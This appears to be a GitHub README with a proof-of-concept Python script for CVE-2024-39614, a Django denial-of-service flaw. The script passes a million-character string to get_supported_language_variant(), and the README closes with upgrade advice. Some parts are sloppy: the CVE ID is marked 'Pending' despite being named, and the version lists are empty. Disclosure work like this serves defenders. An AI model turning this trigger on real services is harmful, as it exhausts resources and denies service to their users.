abdurahmon3236/-cve-2024-39614Proof-of-concept for CVE-2024-39614, a Django denial-of-service vulnerability. Demonstrates resource exhaustion via long strings in get_supported_language_variant(), affecting Django before 5.0.7 and 4.2.14.
This repository contains a Proof of Concept (PoC) script demonstrating a denial-of-service (DoS) vulnerability in Django versions 5.0 before 5.0.7 and 4.2 before 4.2.14. The vulnerability lies in the get_supported_language_variant() function, which is susceptible to a potential DoS attack when handling very long strings containing specific characters.
CVE-ID: (Pending)
Overview:
The get_supported_language_variant() function in Django versions 5.0 before 5.0.7 and 4.2 before 4.2.14 is vulnerable to a denial-of-service attack. This function can be exploited by sending very long strings containing specific characters, which could lead to a resource exhaustion and consequently, a denial-of-service condition.
Affected Versions:
Fixed Versions:
pip install django)This script demonstrates how an attacker can exploit the vulnerability by sending a very long string to the get_supported_language_variant() function.
Save the following script as dos_poc.py and run it.
import django
from django.utils.translation import get_supported_language_variant
# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
print("[-] This Django version is vulnerable to the DoS attack.")
else:
print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")
# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!' # Adjust the length and content as necessary
def test_dos_vulnerability():
try:
# Trigger the vulnerability
get_supported_language_variant(very_long_string)
print("[+] Successfully called get_supported_language_variant with a very long string.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
test_dos_vulnerability()
test_dos_vulnerability() function calls get_supported_language_variant() with the very long string to test for the vulnerability.To mitigate this vulnerability, upgrade to the fixed versions of Django:
Follow the official Django upgrade instructions to update your Django installation to the latest secure version.
By keeping your software up-to-date and following security best practices, you can prevent vulnerabilities such as this DoS issue in Django.